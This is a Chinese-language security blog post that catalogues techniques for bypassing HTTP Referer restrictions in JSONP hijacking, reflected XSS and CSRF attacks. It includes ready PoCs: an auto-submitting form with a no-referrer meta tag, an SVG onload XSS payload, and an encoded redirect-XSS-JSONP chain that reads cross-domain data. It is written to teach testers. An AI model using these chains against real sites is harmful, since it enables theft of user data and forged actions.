作者:Vulkey_Chen
原文來自:GET請求Referer限制繞過總結
前言
在做測試的時候會遇見這樣幾個漏洞場景:
- JSONP跨域劫持
- 反射XSS
- GET請求類型攻擊
但是,在相對安全的情況下,都會有Referer(HTTP請求頭)的限制。那么該如何去做繞過呢?
正文
什么是Referer?
Referer是請求頭的一部分,假設A站上有B站的鏈接,在A站上點擊B站的鏈接,請求頭會帶有Referer,而Referer的值為A站的鏈接;這也就是為什么上文所說的場景,遇見了Referer的限制就可能GG了。
繞過之道
常規繞過
一個實際場景:
先來說說一些常規化的東西:
子域名方式
使用子域名的方式進行繞過:
域名前增加
在域名前面增加隨機的a-z和0-9也可以進繞過:
?號
將域名作為GET請求參數進行繞過:
打破常規
無Referer
之前在做測試的時候,將Referer頭刪除也可以繞過,但是在真正的利用中能不能去實現呢?是可以的。
在HTML標簽中有這樣一個標簽<meta>
,而這個標簽是表示無Referer,就是如下的代碼:
<meta name="referrer" content="never">
我原來的PoC為:
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/test.php"> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
修改之后的PoC為:
<html> <meta name="referrer" content="never"> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/test.php"> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
與其他資源組合
超鏈接
在上文就提到了A站有B站的鏈接,在A站點擊B站的鏈接,Referer就為A站的鏈接了。那么在這里我能否使用白名單域下的業務做超鏈接,鏈接地址為A站存在問題的鏈接再搭配一個點擊劫持或者誘導的方式進行組合攻擊?
例如gh0st.cn做了Referer的限制:
Referer | State |
---|---|
http://gh0st.cn (Current Domain) | YES |
http://www.hi-ourlife.cn (Other Domain) | NO |
http://a.gh0st.cn (SubDomain) | YES |
實際場景:
- 公開信息對外
在個人中心處可以編輯個人的微博地址:
微博地址是對外的公開信息:
那么結合一下點擊劫持或者用戶常規的點擊了~那就GGGGGGG了~
- 論壇
現在很多廠商都有自己的開放論壇,特別是Discuz這種很多,而Discuz回復是可以使用超鏈接的:
回復這樣的格式:u
u部分為地址,t部分為地址名字~
URL跳轉
302跳轉是否可以?NO,不可以。
這里的URL跳轉是值JavaScript的URL跳轉。
常見的兩個:
window.location.href="url"; window.open("url");
反射XSS(Referer限制)
- 這里我已經有一個存在任意URL跳轉漏洞了:
http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com
- 我有一個反射XSS漏洞:
http://vulkey.cn/jsonp.php?callback=vulkey
當 referer = a.com
:
當 referer = vulkey.cn
:
當 referer = *.vulkey.cn
:
這個接口驗證了Referer使用之前的方法沒辦法繞過,於是采用組合拳搭配。
於是有了如下的構建:http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)>
JSONP劫持+反射XSS+URL跳轉
這個案例是基於上面反射XSS案例的,現在已知的三個問題:
- JSONP接口
http://vulkey.cn/jsonp.php?callback=vulkey
有Referer限制 - 反射XSS
http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)>
有Referer限制 - JavaScript URL跳轉
http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com
一般JSONP跨域劫持的PoC是這樣的:
<script>function jsonp2(data){alert(JSON.stringify(data));}</script> <script src="url"></script>
但是因為有Referer限制,就不能在自己的站點上做PoC了,就只能利用反射XSS漏洞構建PoC:
http://vulkey.cn/jsonp.php?callback=%3Cscript%3Efunction+vulkey(data){alert(JSON.stringify(data));}%3C/script%3E%3Cscript+src=%22http://vulkey.cn/jsonp.php?callback=vulkey%22%3E%3C/script%3E
但僅僅如此是不夠是因為XSS有Referer來源的限制,所以最終的PoC應該是這樣的:
http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=%253Cscript%253Efunction%2bvulkey%28data%29%7Balert%28JSON.stringify%28data%29%29%3B%7D%253C%2fscript%253E%253Cscript%2bsrc%3D%2522http%3A%2f%2fvulkey.cn%2fjsonp.php%3Fcallback%3Dvulkey%2522%253E%253C%2fscript%253E
也就是說在這里JS的URL跳轉解決了XSS的Referer限制問題,而XSS又解決了JSONP接口的Referer限制問題,這是一個聯合組合拳。如果你發現的XSS沒有Referer限制則不需要這么"麻煩"。
結尾
文中總結一些小的TIPS,針對我遇到的實際案例進行了漏洞的復現截圖,打開思維其實還有更多更好的思路,有機會后期會寫出來。